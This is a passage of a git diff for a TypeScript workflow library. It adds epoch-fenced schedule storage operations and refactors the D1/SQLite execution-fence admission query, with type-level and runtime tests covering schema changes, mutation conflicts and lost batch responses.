const scheduleRouterOptions: Omit; +const scheduleOwner = { kind: 'human', id: 'schedule-owner' } as const; +const scheduleMutation: MutationEpochContext = { mutationEpoch: 1 }; +const scheduleResume: ScheduleResumeMutation = { + expectedCron: scheduleRow.cron, + expectedTimezone: undefined, + nextFireAt: scheduleRow.nextFireAt, +}; +const scheduleStore = new D1SchedulesStorage(scheduleDatabase); +void createScheduleStorageDomains(scheduleDatabase); +void scheduleStore.createSchedule(scheduleRow); +void scheduleStore.createSchedule(scheduleRow, scheduleMutation); +void scheduleStore.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10); +void scheduleStore.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10, scheduleMutation); +void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} }); +void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} }, scheduleMutation); +void scheduleStore.pauseSchedule(scheduleRow.id); +void scheduleStore.pauseSchedule(scheduleRow.id, scheduleMutation); +void scheduleStore.resumeSchedule(scheduleRow.id, scheduleResume); +void scheduleStore.resumeSchedule(scheduleRow.id, scheduleResume, scheduleMutation); +void scheduleStore.deleteSchedule(scheduleRow.id); +void scheduleStore.deleteSchedule(scheduleRow.id, scheduleMutation); +void scheduleStore.deleteOwnedSchedule(scheduleRow.id); +void scheduleStore.deleteOwnedSchedule(scheduleRow.id, scheduleMutation); +const scheduleCapability: FencedScheduleMutationCapability | undefined = scheduleStore[FENCED_SCHEDULE_STORAGE]; +if (scheduleCapability) { + void scheduleCapability.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10, scheduleMutation); + void scheduleCapability.updateSchedule(scheduleRow.id, { metadata: {} }, scheduleMutation); + void scheduleCapability.pauseSchedule(scheduleRow.id, scheduleMutation); + void scheduleCapability.resumeSchedule(scheduleRow.id, scheduleResume, scheduleMutation); + void scheduleCapability.deleteOwnedSchedule(scheduleRow.id, scheduleMutation); + void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'pause', scheduleMutation); + void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'resume', scheduleMutation); + // @ts-expect-error owned creation requires the captured context argument + void scheduleCapability.createOwnedSchedule(authorizedSchedule, scheduleOwner, 10); + // @ts-expect-error update requires the captured context argument + void scheduleCapability.updateSchedule(scheduleRow.id, { metadata: {} }); + // @ts-expect-error pause requires the captured context argument + void scheduleCapability.pauseSchedule(scheduleRow.id); + // @ts-expect-error resume requires the captured context argument + void scheduleCapability.resumeSchedule(scheduleRow.id, scheduleResume); + // @ts-expect-error deletion requires the captured context argument + void scheduleCapability.deleteOwnedSchedule(scheduleRow.id); + // @ts-expect-error observation requires the captured context argument + void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'pause'); + // @ts-expect-error observation cannot select an authoring operation + void scheduleCapability.observeScheduleMutation(scheduleRow.id, 'update', scheduleMutation); +} +// @ts-expect-error fixed pause accepts no caller patch +void scheduleStore.pauseSchedule(scheduleRow.id, { status: 'paused' }); +// @ts-expect-error resume requires the observed cron +void scheduleStore.resumeSchedule(scheduleRow.id, { expectedTimezone: undefined, nextFireAt: scheduleRow.nextFireAt }); +// @ts-expect-error an omitted expectedTimezone is not an undefined observation +void scheduleStore.resumeSchedule(scheduleRow.id, { expectedCron: scheduleRow.cron, nextFireAt: scheduleRow.nextFireAt }); +// @ts-expect-error the epoch is numeric trusted context +void scheduleStore.updateSchedule(scheduleRow.id, { metadata: {} }, { mutationEpoch: '1' }); +const legacyScheduleFacade: ScheduleFacadeStore = { + createOwnedSchedule: async () => scheduleRow, + getSchedule: async () => scheduleRow, + listSchedules: async () => [scheduleRow], + updateSchedule: async () => scheduleRow, + deleteOwnedSchedule: async () => 'deleted', + listTriggers: async () => [], +}; +const legacyScheduleRouter: ScheduleRouter = createScheduleRouter({ ...scheduleRouterOptions, store: legacyScheduleFacade, executionFence: 'none' }); +void legacyScheduleRouter; +void new ScheduleMutationConflictError('schedule-changed'); +void new ScheduleMutationOutcomeUnknownError({ cause: new Error('private cause') }); void BREAKWATER_CONNECTOR_EXECUTION_KEY; void BREAKWATER_CONNECTOR_GRANTS_KEY; void connectorGrantsForLeg; @@ -619,6 +709,7 @@ import * as backgroundTasks from '@proofoftech/flowsafe/background-tasks'; import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; +import * as schedules from '@proofoftech/flowsafe/schedules'; import { Mastra } from '@mastra/core/mastra'; import { InMemoryStore } from '@mastra/core/storage'; import { createStep, createWorkflow } from '@mastra/core/workflows'; @@ -673,8 +764,13 @@ for (const name of ['claim', 'release', 'settleRun']) { assert.equal(name in doRunner.StartIdempotencyStore.prototype, false, name); } for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); -for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner]) { - for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority']) { +for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules]) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql']) { + assert.equal(name in api, false, name); + } +} +for (const api of [flowsafe, doRunner, hostKit]) { + for (const name of ['FENCED_SCHEDULE_STORAGE', 'ScheduleMutationConflictError', 'ScheduleMutationOutcomeUnknownError']) { assert.equal(name in api, false, name); } } @@ -689,6 +785,126 @@ const blocked = new doRunner.RunLifecycleBlockedError({ code: 'DISPUTED_SETTLEME assert.equal(blocked instanceof flowsafe.RunLifecycleBlockedError, true); assert.equal(blocked.name, 'RunLifecycleBlockedError'); assert.equal(blocked.reason.code, 'DISPUTED_SETTLEMENT'); +assert.equal(typeof schedules.FENCED_SCHEDULE_STORAGE, 'symbol'); +assert.equal(typeof schedules.ScheduleMutationConflictError, 'function'); +assert.equal(typeof schedules.ScheduleMutationOutcomeUnknownError, 'function'); +const scheduleNative = sqliteUnitDatabase(openSqlite()); +const lostScheduleResponse = new Error('packed schedule batch response lost'); +let loseScheduleResponse = false; +let scheduleBatches = 0; +const scheduleBinding = { + prepare(sql) { return scheduleNative.prepare(sql); }, + async batch(statements) { + scheduleBatches += 1; + const result = await scheduleNative.batch(statements); + if (loseScheduleResponse) { + loseScheduleResponse = false; + throw lostScheduleResponse; + } + return result; + }, +}; +const scheduleStore = new schedules.D1SchedulesStorage(scheduleBinding); +const scheduleCapability = scheduleStore[schedules.FENCED_SCHEDULE_STORAGE]; +assert.ok(scheduleCapability); +assert.equal(scheduleCapability.database, scheduleBinding); +const scheduleStorage = doRunner.createD1Storage({ + binding: scheduleBinding, + domains: schedules.createScheduleStorageDomains(scheduleBinding), +}); +await scheduleStorage.init(); +const scheduleDomain = await scheduleStorage.getStore('schedules'); +assert.ok(scheduleDomain instanceof schedules.D1SchedulesStorage); +const scheduleDomainCapability = scheduleDomain[schedules.FENCED_SCHEDULE_STORAGE]; +assert.ok(scheduleDomainCapability); +assert.equal(scheduleDomainCapability.database, scheduleBinding); +const scheduleRow = schedules.scheduleWithCreatorRole({ + id: 'packed-schedule', + target: { type: 'workflow', workflowId: 'packed-schedule-workflow', inputData: {} }, + cron: '*/5 * * * *', status: 'active', + nextFireAt: 1700000300000, createdAt: 1700000000000, updatedAt: 1700000000000, + metadata: { source: 'packed' }, +}, 'operator'); +const scheduleOwner = { kind: 'human', id: 'packed-schedule-owner' }; +const createdSchedule = await scheduleCapability.createOwnedSchedule(scheduleRow, scheduleOwner, 10, {}); +assert.equal(createdSchedule.id, scheduleRow.id); +assert.equal(createdSchedule.status, 'active'); +assert.deepEqual(createdSchedule.metadata, scheduleRow.metadata); +const storedScheduleOwner = await scheduleBinding.prepare("SELECT owner_kind, owner_id FROM flowsafe_resource_owners WHERE resource_kind = 'schedule' AND resource_id = ?") + .bind(scheduleRow.id).first(); +assert.equal(storedScheduleOwner.owner_kind, scheduleOwner.kind); +assert.equal(storedScheduleOwner.owner_id, scheduleOwner.id); +const scheduleFence = new doRunner.ExecutionFenceStore(scheduleBinding); +const scheduleRouterOptions = { + store: scheduleStore, executionFence: scheduleFence, + resolve: async () => undefined, + targetPolicy: schedules.createScheduleTargetPolicy({ workflows: [{ id: 'packed-schedule-workflow' }], agents: [] }), + validateThreadTarget: async () => undefined, +}; +assert.equal(typeof schedules.createScheduleRouter(scheduleRouterOptions), 'function'); +assert.throws(() => schedules.createScheduleRouter({ + ...scheduleRouterOptions, + executionFence: new doRunner.ExecutionFenceStore(sqliteUnitDatabase(openSqlite())), +}), /schedule storage binding disagrees with execution fence/); +const legacyScheduleFacade = { + createOwnedSchedule: async (schedule) => schedule, + getSchedule: async () => null, + listSchedules: async () => [], + updateSchedule: async () => scheduleRow, + deleteOwnedSchedule: async () => 'deleted', + listTriggers: async () => [], +}; +assert.equal(schedules.FENCED_SCHEDULE_STORAGE in legacyScheduleFacade, false); +assert.equal(typeof schedules.createScheduleRouter({ + ...scheduleRouterOptions, store: legacyScheduleFacade, executionFence: 'none', +}), 'function'); +await scheduleFence.transition({ + expected: 'open', next: 'draining', expectedMutationEpoch: 0, + expectedRevision: 0, advanceMutationEpoch: true, +}); +await scheduleFence.transition({ + expected: 'draining', next: 'open', expectedMutationEpoch: 1, + expectedRevision: 1, +}); +await assert.rejects(() => scheduleStore.updateSchedule(scheduleRow.id, { metadata: { unauthorized: true } }), (error) => { + assert.ok(error instanceof doRunner.MutationEpochMismatchError); + assert.equal(error.status, 409); + assert.deepEqual(error.reason, { code: 'MUTATION_EPOCH_MISMATCH', classification: 'missing', mutationEpoch: 1 }); + return true; +}); +assert.deepEqual((await scheduleStore.getSchedule(scheduleRow.id)).metadata, scheduleRow.metadata); +const scheduleMutation = { mutationEpoch: 1 }; +const pausedSchedule = await scheduleCapability.pauseSchedule(scheduleRow.id, scheduleMutation); +await scheduleCapability.updateSchedule(scheduleRow.id, { cron: '*/10 * * * *' }, scheduleMutation); +await assert.rejects(() => scheduleCapability.resumeSchedule(scheduleRow.id, { + expectedCron: pausedSchedule.cron, expectedTimezone: pausedSchedule.timezone, + nextFireAt: pausedSchedule.nextFireAt + 60000, +}, scheduleMutation), (error) => { + assert.ok(error instanceof schedules.ScheduleMutationConflictError); + assert.equal(error.status, 409); + assert.deepEqual(error.reason, { code: 'SCHEDULE_MUTATION_CONFLICT', classification: 'schedule-changed' }); + return true; +}); +const conflictedSchedule = await scheduleStore.getSchedule(scheduleRow.id); +assert.equal(conflictedSchedule.status, 'paused'); +assert.equal(conflictedSchedule.cron, '*/10 * * * *'); +assert.equal(conflictedSchedule.nextFireAt, pausedSchedule.nextFireAt); +const committedScheduleMetadata = { source: 'committed-response-loss' }; +const batchesBeforeLoss = scheduleBatches; +loseScheduleResponse = true; +await assert.rejects(() => scheduleCapability.updateSchedule(scheduleRow.id, { + metadata: committedScheduleMetadata, +}, scheduleMutation), (error) => { + assert.ok(error instanceof schedules.ScheduleMutationOutcomeUnknownError); + assert.equal(error.status, 503); + assert.deepEqual(error.reason, { code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN' }); + assert.equal(error.cause, lostScheduleResponse); + return true; +}); +assert.equal(scheduleBatches, batchesBeforeLoss + 1); +assert.equal(loseScheduleResponse, false); +const committedSchedule = await scheduleBinding.prepare('SELECT metadata FROM mastra_schedules WHERE id = ?').bind(scheduleRow.id).first(); +assert.deepEqual(JSON.parse(committedSchedule.metadata), committedScheduleMetadata); const binding = sqliteUnitDatabase(openSqlite()); const retentionBinding = sqliteUnitDatabase(openSqlite()); await retentionBinding.prepare('CREATE TABLE mastra_workflow_snapshot (workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, UNIQUE(workflow_name, run_id))').run(); diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts index 63688c7f..8a945833 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.ts @@ -600,6 +600,68 @@ export interface ExecutionFenceAdmissionObservation { readonly raw: DeploymentIdentityProtocolRow; } +const FENCE_ADMISSION_FIELDS = [ + 'state', + 'mutation_epoch', + 'require_mutation_epoch', + 'transition_revision', + 'last_transition_request', + 'proof_key', + 'proof_run_id', + 'proof_table_prefix', + 'proof_workflow_id', + 'proof_start_token', +] as const; + +/** @internal */ +export function executionFenceAdmissionValues( + observation: ExecutionFenceAdmissionObservation, +): readonly unknown[] { + const values = FENCE_ADMISSION_FIELDS.map((key) => observation.raw[key]); + for (const value of values.slice(4)) { + if (value !== null && typeof value !== 'string') { + throw new ExecutionFenceUnreadableError( + 'execution fence semantic fields are not readable', + ); + } + } + return Object.freeze(values); +} + +/** @internal */ +export function executionFenceAdmissionSql(input: { + readonly callerEpoch: string; + readonly semantic: readonly string[]; + readonly schema: string; + readonly statePredicate: string; +}): string { + const { callerEpoch, semantic, schema, statePredicate } = input; + if (semantic.length !== FENCE_ADMISSION_FIELDS.length) { + throw new Error('execution fence admission parameter frame is invalid'); + } + const nullable = FENCE_ADMISSION_FIELDS.slice(4) + .map((key, index) => { + const parameter = semantic[index + 4]; + return `typeof(f.${key}) IN ('null', 'text') + AND typeof(f.${key}) = typeof(${parameter}) + AND f.${key} COLLATE BINARY IS ${parameter}`; + }) + .join(' AND '); + return `(SELECT json_group_array(json_array(name, type, "notnull", dflt_value, pk, hidden)) + FROM (SELECT name, type, "notnull", dflt_value, pk, hidden + FROM pragma_table_xinfo('${EXECUTION_FENCE_TABLE}') ORDER BY cid)) COLLATE BINARY = ${schema} + AND (SELECT COUNT(*) FROM ${EXECUTION_FENCE_TABLE}) = 1 + AND EXISTS (SELECT 1 FROM ${EXECUTION_FENCE_TABLE} AS f + WHERE typeof(f.id) = 'text' AND f.id COLLATE BINARY = 'deployment' + AND typeof(f.state) = 'text' AND f.state COLLATE BINARY IS ${semantic[0]} + AND typeof(f.mutation_epoch) = 'integer' AND f.mutation_epoch IS ${semantic[1]} + AND typeof(f.require_mutation_epoch) = 'integer' AND f.require_mutation_epoch IS ${semantic[2]} + AND typeof(f.transition_revision) = 'integer' AND f.transition_revision IS ${semantic[3]} + AND ${nullable} + AND (f.require_mutation_epoch = 0 OR f.mutation_epoch = ${callerEpoch}) + AND (${statePredicate}))`; +} + function isFenceCounter(value: unknown): value is number { return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0; } @@ -754,6 +816,30 @@ export async function validateExecutionFenceAdmissionSchema( throw new Error('initial admission requires the current fence schema'); } +/** @internal */ +export async function captureExecutionFenceAdmissionSchema( + result: unknown, +): Promise { + const rows = fenceResultRows(result).map((row) => + Object.freeze( + Object.fromEntries( + Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), + ), + ), + ); + await validateExecutionFenceAdmissionSchema({ results: rows }); + return JSON.stringify( + rows.map(({ name, type, notnull, dflt_value, pk, hidden }) => [ + name, + type, + notnull, + dflt_value, + pk, + hidden, + ]), + ); +} + /** * SQLite/D1's "no such table", for THIS store's table: a table that was never * created is not a fault here — it is a pre-0.20 database, which reads as diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts index 57efbc38..bc756b2f 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts @@ -1912,6 +1912,175 @@ describe('FS8 D2 dormant reservation primitives', () => { }); describe('owned initial workflow admission', () => { + it.each([ + [ + 'unsupported column', + 'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT', + ], + [ + 'nullable-id second row', + "INSERT INTO flowsafe_execution_fence (id, state, updated_at) VALUES (NULL, 'open', 0)", + ], + ])('refuses a final %s without changing keyed proof participants', async (_condition, change) => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const resources = new D1ResourceOwnershipStore( + h.db as unknown as ResourceOwnershipDatabase, + ); + expect( + await resources.reserveAll( + [{ kind: 'run', resourceId: 'run' }], + OWNER, + 'correlation', + ), + ).toBe(true); + const input = { + ...h.input, + runOwnerGuard: { owner: OWNER, reservationToken: 'correlation' }, + }; + const participants = () => ({ + reservations: h.sql + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(), + owners: h.sql.prepare('SELECT * FROM flowsafe_resource_owners').all(), + }); + const before = participants(); + const batch = h.db.batch.bind(h.db); + let changedFence: unknown; + const write = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + expect(h.rows()).toEqual([]); + expect( + h.sql.prepare('PRAGMA ignore_check_constraints').get(), + ).toMatchObject({ + ignore_check_constraints: 0, + }); + h.sql.exec(change); + changedFence = h.sql + .prepare('SELECT * FROM flowsafe_execution_fence') + .all(); + const result = await batch(statements); + expect(h.rows()).toEqual([]); + expect(participants()).toEqual(before); + expect( + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + ).toEqual(changedFence); + return result; + }); + const outcome = await h.admit(input).catch((error: unknown) => error); + expect(outcome).toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + expect(isDefinitiveInitialAdmissionRefusal(outcome, input.execution)).toBe( + true, + ); + expect(write).toHaveBeenCalledOnce(); + expect(h.onInitialWriteAttempt).toHaveBeenCalledOnce(); + expect(h.rows()).toEqual([]); + expect(participants()).toEqual(before); + expect( + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + ).toEqual(changedFence); + expect(h.effects()).toBe(0); + await expect(h.fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + }); + + it('admits exact active-epoch proof and reservation participants under the supported schema', async () => { + const h = await fixture({ keyed: true }); + const reading = await h.fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + const input = { + ...h.input, + mutationEpoch: reading.mutationEpoch, + proof: { + key: 'key', + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }, + requestContext: { + ...h.input.requestContext, + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + mutationEpoch: reading.mutationEpoch, + }, + }, + }; + expect((await h.admit(input)).witness.execution).toEqual(input.execution); + expect(h.rows()).toHaveLength(1); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding, + ).toEqual({ + kind: 'bound', + execution: input.execution, + }); + expect((await h.fence.readForAdmission()).reading.proofExecution).toEqual( + input.execution, + ); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'before insert', + 'after insert', + ] as const)('classifies response loss when the fence schema changes %s', async (phase) => { + const h = await fixture({ keyed: true }); + const before = h.sql + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + const batch = h.db.batch.bind(h.db); + const lost = new Error('initial admission response lost'); + const change = () => + h.sql.exec( + 'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT', + ); + const write = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + if (phase === 'before insert') change(); + await batch(statements); + if (phase === 'after insert') change(); + throw lost; + }); + const outcome = await h.admit().catch((error: unknown) => error); + expect(write).toHaveBeenCalledTimes(2); + expect(h.onInitialWriteAttempt).toHaveBeenCalledOnce(); + expect(h.effects()).toBe(0); + if (phase === 'before insert') { + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(outcome).toMatchObject({ cause: lost }); + expect( + isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution), + ).toBe(false); + expect(h.rows()).toEqual([]); + expect( + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ).toEqual(before); + } else { + expect(outcome).toMatchObject({ + witness: { execution: h.input.execution }, + }); + expect(h.rows()).toHaveLength(1); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding, + ).toEqual({ + kind: 'bound', + execution: h.input.execution, + }); + } + await expect(h.fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + }); + it.each([ 'foreign fence binding', 'foreign reservation binding', @@ -2372,7 +2541,7 @@ describe('owned initial workflow admission', () => { }); const result = await h.admit(input).catch((error: unknown) => error); expect(h.rows()).toHaveLength(disposition === 'keep' ? 1 : 0); - expect(parameters).toBe(31); + expect(parameters).toBe(32); if (disposition !== 'keep') { expect(result).toMatchObject({ reason: { diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts index c407b708..0e209b1b 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts @@ -22,9 +22,12 @@ import { } from './execution-admission.js'; import { admitsRunStart, + captureExecutionFenceAdmissionSchema, decodeExecutionFenceAdmissionRow, type ExecutionFenceAdmissionObservation, ExecutionFencedError, + executionFenceAdmissionSql, + executionFenceAdmissionValues, validateExecutionFenceAdmissionSchema, } from './execution-fence.js'; import { @@ -866,6 +869,20 @@ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { const { database } = capability; await input.fence.seed('open'); const observed = await input.fence.readForAdmission(); + const semanticValues = executionFenceAdmissionValues(observed); + let schema: string; + try { + schema = await captureExecutionFenceAdmissionSchema( + await database + .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`) + .all(), + ); + } catch (cause) { + throw new ExecutionFenceUnreadableError( + 'initial admission requires current fence schema', + { cause }, + ); + } if ( input.reservation && !sameReservation( @@ -888,19 +905,8 @@ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { row.updatedAt, ].map(bind); const epoch = bind(input.mutationEpoch ?? null); - const fence = observed.raw; - const semantic = [ - 'state', - 'mutation_epoch', - 'require_mutation_epoch', - 'transition_revision', - 'last_transition_request', - 'proof_key', - 'proof_run_id', - 'proof_table_prefix', - 'proof_workflow_id', - 'proof_start_token', - ].map((key) => bind(fence[key])); + const semantic = semanticValues.map(bind); + const schemaParameter = bind(schema); const proofRevision = bind(input.proof?.transitionRevision ?? null); const proofKey = bind(input.proof?.key ?? null); const reservation = input.reservation @@ -912,23 +918,22 @@ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { AND o.owner_kind = ${bind(input.runOwnerGuard.owner.kind)} AND o.owner_id = ${bind(input.runOwnerGuard.owner.id)} AND (o.reservation_token IS NULL OR o.reservation_token = ${bind(input.runOwnerGuard.reservationToken)}))` : ''; + const fencePredicate = executionFenceAdmissionSql({ + callerEpoch: epoch, + semantic, + schema: schemaParameter, + statePredicate: `f.state COLLATE BINARY = 'open' OR + (f.state COLLATE BINARY = 'proof-only' AND f.proof_key COLLATE BINARY = ${proofKey} + AND f.transition_revision = ${proofRevision} AND f.mutation_epoch = ${proofEpoch} + AND f.proof_run_id IS NULL AND f.proof_table_prefix IS NULL + AND f.proof_workflow_id IS NULL AND f.proof_start_token IS NULL)`, + }); const statements = [ database .prepare(`INSERT INTO "${row.tablePrefix}mastra_workflow_snapshot" (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt) SELECT ${fields.join(', ')} - WHERE EXISTS ( - SELECT 1 FROM ${EXECUTION_FENCE_TABLE} AS f - WHERE f.id = 'deployment' AND f.state = ${semantic[0]} - AND f.mutation_epoch = ${semantic[1]} AND f.require_mutation_epoch = ${semantic[2]} - AND f.transition_revision = ${semantic[3]} AND f.last_transition_request IS ${semantic[4]} - AND f.proof_key IS ${semantic[5]} AND f.proof_run_id IS ${semantic[6]} - AND f.proof_table_prefix IS ${semantic[7]} AND f.proof_workflow_id IS ${semantic[8]} AND f.proof_start_token IS ${semantic[9]} - AND (f.require_mutation_epoch = 0 OR f.mutation_epoch = ${epoch}) - AND (f.state = 'open' OR (f.state = 'proof-only' AND f.proof_key = ${proofKey} - AND f.transition_revision = ${proofRevision} AND f.mutation_epoch = ${proofEpoch} - AND f.proof_run_id IS NULL AND f.proof_table_prefix IS NULL AND f.proof_workflow_id IS NULL AND f.proof_start_token IS NULL)) - ) ${reservation} ${owner} + WHERE ${fencePredicate} ${reservation} ${owner} ON CONFLICT (workflow_name, run_id) DO NOTHING RETURNING workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt`) .bind(...values), diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index 6254082b..1550e530 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -7,6 +7,10 @@ import type { WorkflowRunState } from '@mastra/core/workflows'; import { assert, describe, expect, expectTypeOf, it, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { + D1ResourceOwnershipStore, + type ResourceOwnershipDatabase, +} from '../approval-api/resource-ownership.js'; import { createBackgroundTaskD1Domains } from '../background-tasks/d1-storage.js'; import type { D1DatabaseBinding } from './cf-types.js'; import { createD1Storage } from './d1-storage.js'; @@ -6921,6 +6925,206 @@ async function d3RuntimeFixture( }; } +describe('Runtime final fence structural admission', () => { + async function structuralFixture(proof: boolean) { + const f = await d3RuntimeFixture(); + assert(f.capability); + const owner = { kind: 'human' as const, id: 'owner' }; + const resources = new D1ResourceOwnershipStore( + f.capability.database as unknown as ResourceOwnershipDatabase, + ); + expect( + await resources.reserveAll( + [{ kind: 'run', resourceId: 'd3-run' }], + owner, + 'H', + ), + ).toBe(true); + const claim = proof ? await f.claim() : undefined; + const reading = await f.fence.transition({ + expected: 'open', + next: proof ? 'proof-only' : 'open', + ...(claim ? { proofKey: claim.key } : {}), + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + const startOptions: StartRunOptions = { + ...f.options(), + mutationEpoch: reading.mutationEpoch, + runOwnerGuard: { owner, reservationToken: 'H' }, + ...(claim ? { idempotencyKey: claim.key, startReservation: claim } : {}), + }; + return { + ...f, + claim, + startOptions, + database: f.capability.database, + snapshots: () => + f.sql.prepare('SELECT * FROM d3_mastra_workflow_snapshot').all(), + owners: () => + f.sql.prepare('SELECT * FROM flowsafe_resource_owners').all(), + proofRows: () => + f.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + }; + } + + it.each([ + [ + 'unkeyed unsupported column', + false, + 'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT', + ], + [ + 'keyed proof nullable-id second row', + true, + "INSERT INTO flowsafe_execution_fence (id, state, updated_at) VALUES (NULL, 'open', 0)", + ], + ] as const)('refuses the original Runtime initial batch for %s', async (_condition, proof, change) => { + const f = await structuralFixture(proof); + try { + const ownersBefore = f.owners(); + const reservationBefore = f.claim + ? await f.reservations.readForAdmission(f.claim.key) + : undefined; + const batch = f.database.batch.bind(f.database); + let changedFence: unknown; + const write = vi + .spyOn(f.database, 'batch') + .mockImplementationOnce(async (statements) => { + expect(f.snapshots()).toEqual([]); + expect( + f.sql.prepare('PRAGMA ignore_check_constraints').get(), + ).toMatchObject({ + ignore_check_constraints: 0, + }); + f.sql.exec(change); + changedFence = f.proofRows(); + const result = await batch(statements); + expect( + (result as Array<{ results: unknown[] }>).map( + ({ results }) => results, + ), + ).toEqual(statements.map(() => [])); + expect(f.snapshots()).toEqual([]); + expect(f.owners()).toEqual(ownersBefore); + expect(f.proofRows()).toEqual(changedFence); + if (f.claim) + expect(await f.reservations.readForAdmission(f.claim.key)).toEqual( + reservationBefore, + ); + return result; + }); + await expect( + f.runtime.start(f.workflow.id, f.startOptions), + ).rejects.toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + expect(write).toHaveBeenCalledOnce(); + expect(f.snapshots()).toEqual([]); + expect(f.effects).not.toHaveBeenCalled(); + expect(f.owners()).toEqual(ownersBefore); + expect(f.proofRows()).toEqual(changedFence); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + expect(f.workflow.runs.has('d3-run')).toBe(false); + if (f.claim) + expect( + await f.reservations.readForAdmission(f.claim.key), + ).toMatchObject({ + state: 'reserved', + binding: { kind: 'unbound' }, + }); + await expect(f.fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + } finally { + f.close(); + } + }); + + it.each([ + false, + true, + ])('executes the original Runtime with exact active authority (proof=%s)', async (proof) => { + const f = await structuralFixture(proof); + try { + const ownersBefore = f.owners(); + expect(f.startOptions.mutationEpoch).toBe(1); + await expect( + f.runtime.start(f.workflow.id, f.startOptions), + ).resolves.toMatchObject({ status: 'success' }); + expect(f.effects).toHaveBeenCalledOnce(); + expect(f.snapshots()).toHaveLength(1); + expect(f.owners()).toEqual(ownersBefore); + const reading = await f.fence.readForAdmission(); + expect(reading.reading).toMatchObject({ + mutationEpoch: 1, + requireMutationEpoch: true, + }); + if (f.claim) { + const reservation = await f.reservations.readForAdmission(f.claim.key); + expect(reservation).toMatchObject({ + state: 'terminal', + binding: { kind: 'bound' }, + }); + if (reservation?.binding.kind !== 'bound') + throw new Error('missing admitted execution'); + expect(reading.reading.proofExecution).toEqual( + reservation.binding.execution, + ); + } else expect(reading.reading.proofExecution).toBeUndefined(); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + } finally { + f.close(); + } + }); + + it('rejects a lost response after structural refusal without entering the engine', async () => { + const f = await structuralFixture(true); + assert(f.claim); + try { + const before = await f.reservations.readForAdmission(f.claim.key); + const 